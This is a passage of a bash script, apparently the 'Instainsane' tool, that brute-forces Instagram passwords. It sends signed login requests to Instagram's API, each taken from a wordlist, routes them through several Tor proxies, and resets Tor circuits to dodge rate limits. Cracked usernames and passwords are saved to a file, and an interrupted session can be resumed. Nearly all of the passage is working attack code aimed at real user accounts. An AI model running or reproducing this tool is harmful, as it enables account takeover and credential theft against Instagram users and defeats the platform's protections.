{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9053 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid3=$! ; # wait $!;
442
443
let startline+=20
444
let endline+=20
445
446
done
447
}
448
449
450
bf4resume() {
451
452
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
453
while [ $counter4 -lt $turn ]; do
454
455
IFS=$'\n'
456
startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
457
startresume1=$((startresume+1))
458
IFS=$'\n'
459
for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do
460
461
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
462
463
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
464
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
465
IFS=$'\n'
466
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
467
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
468
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
469
470
471
let counter4++
472
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
473
474
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9054 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid4=$! ; # wait $!;
475
476
let startline+=20
477
let endline+=20
478
479
done
480
481
}
482
483
484
bf5resume() {
485
486
while [ $counter5 -lt $turn ]; do
487
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
488
IFS=$'\n'
489
startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
490
startresume1=$((startresume+1))
491
IFS=$'\n'
492
for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do
493
494
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
495
496
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
497
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
498
IFS=$'\n'
499
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
500
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
501
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
502
503
let counter5++
504
505
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
506
507
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9055 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; wait $pid1 > /dev/null 2>&1; wait $pid2 > /dev/null 2>&1 ; wait $pid3 > /dev/null 2>&1 ; wait $pid4 > /dev/null 2>&1; wait $! > /dev/null 2>&1 ;
508
509
let startline+=20
510
let endline+=20
511
512
done
513
}
514
515
516
function resume() {
517
518
banner
519
checkroot
520
dependencies
521
522
countern=1
523
if [[ ! -d sessions ]]; then
524
printf "\e[1;91m[*] No sessions\n\e[0m"
525
exit 1
526
fi
527
printf "\e[1;92mFiles sessions:\n\e[0m"
528
for list in $(ls sessions/store.session*); do
529
IFS=$'\n'
530
source $list
531
printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$countern" "$list" "$wl_pass" "$pass"
532
let countern++
533
done
534
read -p $'\e[1;92mChoose a session number: \e[0m' fileresume
535
source $(ls sessions/store.session* | sed ''$fileresume'q;d')
536
default_threads=100
537
threads="${threads:-${default_threads}}"
538
539
printf "\e[1;92m[*] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $user
540
printf "\e[1;92m[*] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass
541
printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
542
multitor
543
544
while [ true ]; do
545
killall -HUP tor
546
###pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3"; pkill -f -HUP "tor -f multitor/multitor4"; pkill -f -HUP "tor -f multitor/multitor5"
547
548
bf1resume
549
let turn+=20
550
bf2resume
551
let turn+=20
552
bf3resume
553
let turn+=20
554
bf4resume
555
let turn+=20
556
bf5resume
557
558
let turn-=60
559
###
560
killall -HUP tor
561
#pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3";pkill -f -HUP "tor -f multitor/multitor4";pkill -f -HUP "tor -f multitor/multitor5"
562
563
done
564
}
565
566
567
case "$1" in --resume) resume ;; *)
568
569
banner
570
checkroot
571
dependencies
572
start
573
multitor
574
killall -HUP tor
575
while [ $countpass -lt $count_pass ]; do
576
577
killall -HUP tor
578
##pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3";pkill -f -HUP "tor -f multitor/multitor4";pkill -f -HUP "tor -f multitor/multitor5"
579
580
bf1
581
let turn+=20
582
bf2
583
let turn+=20
584
bf3
585
let turn+=20
586
bf4
587
let turn+=20
588
bf5
589
let turn-=60
590
killall -HUP tor
591
###
592
#pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3"; pkill -f -HUP "tor -f multitor/multitor4"; pkill -f -HUP "tor -f multitor/multitor5"
593
done
594
exit 1
595
esac
596
597